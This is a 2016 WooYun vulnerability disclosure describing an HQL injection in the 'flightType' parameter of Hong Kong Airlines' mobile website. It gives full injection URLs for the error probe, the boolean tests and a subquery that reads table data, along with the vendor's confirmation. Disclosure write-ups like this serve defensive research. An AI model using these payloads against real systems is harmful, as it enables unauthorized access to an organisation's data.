当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0205054

漏洞标题:香港航空某处HQL注入

相关厂商:香港航空

漏洞作者: V1ct0r

提交时间:2016-05-04 19:53

修复时间:2016-06-20 16:20

公开时间:2016-06-20 16:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-04: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

此处较为鸡肋,就当小小记录一下...

详细说明:

关于HQL注入Drops里面有一篇文章:http://drops.wooyun.org/tips/748
HQL的一个案例: WooYun: 优学院某处HQL注入
问题发生在香港航空的手机版:https://m.hongkongairlines.com/
https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%22&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

error.png


根据错误信息可知可能存在HQL注入.注入点在:flightType
构造测试:
https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A%271%27%3E%270&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

hql0.png


https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A%271%27%3E%275&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

hql1.png


可验证注入存在.
首先我们可以参考: WooYun: 优学院某处HQL注入 来获取user信息.
由之前的报错信息,可以知道当前表的名字:
***.***.***.aio.flight.model.FpRecommendFlight
然后可以读取当前表的数据:
https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A(select%0Acount(id)%0Afrom%0A***.***.***.aio.flight.model.FpRecommendFlight%0Awhere%0Arownum%3C10)%3E0%0Aand%0A%271%27%3E%270&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

hql2.png


借助其他地方的报错信息,我们还得到了另一个表的名字:
***.***.***.aio.common.model.MContent
可按照上面方式来读取...
但是如何获取其它表名呢?laterain师傅告诉我:
可能它将对表的操作都放在了Model层里面,所以不仅需要找到表名还得找到对应的Model名称
也就是说我们只有可能通过一些其他的方式来获得更多对应的名字(如这里的报错信息)
我觉得这样确实显得非常鸡肋,但是在某些特殊情况下,例如当前表恰好存了我们想获取或敏感的信息时,还是会比较有用了.

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 V1ct0r@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-05-06 16:13

厂商回复:

谢谢,我们会立即安排整改。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-04 20:38 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)

    航空杀手

  2. 2016-05-04 22:23 | V1ct0r ( 普通白帽子 | Rank:375 漏洞数:81 | 生活不止眼前的苟且,还有黑客和远方.)

    @牛肉包子 (●´ω`●)φ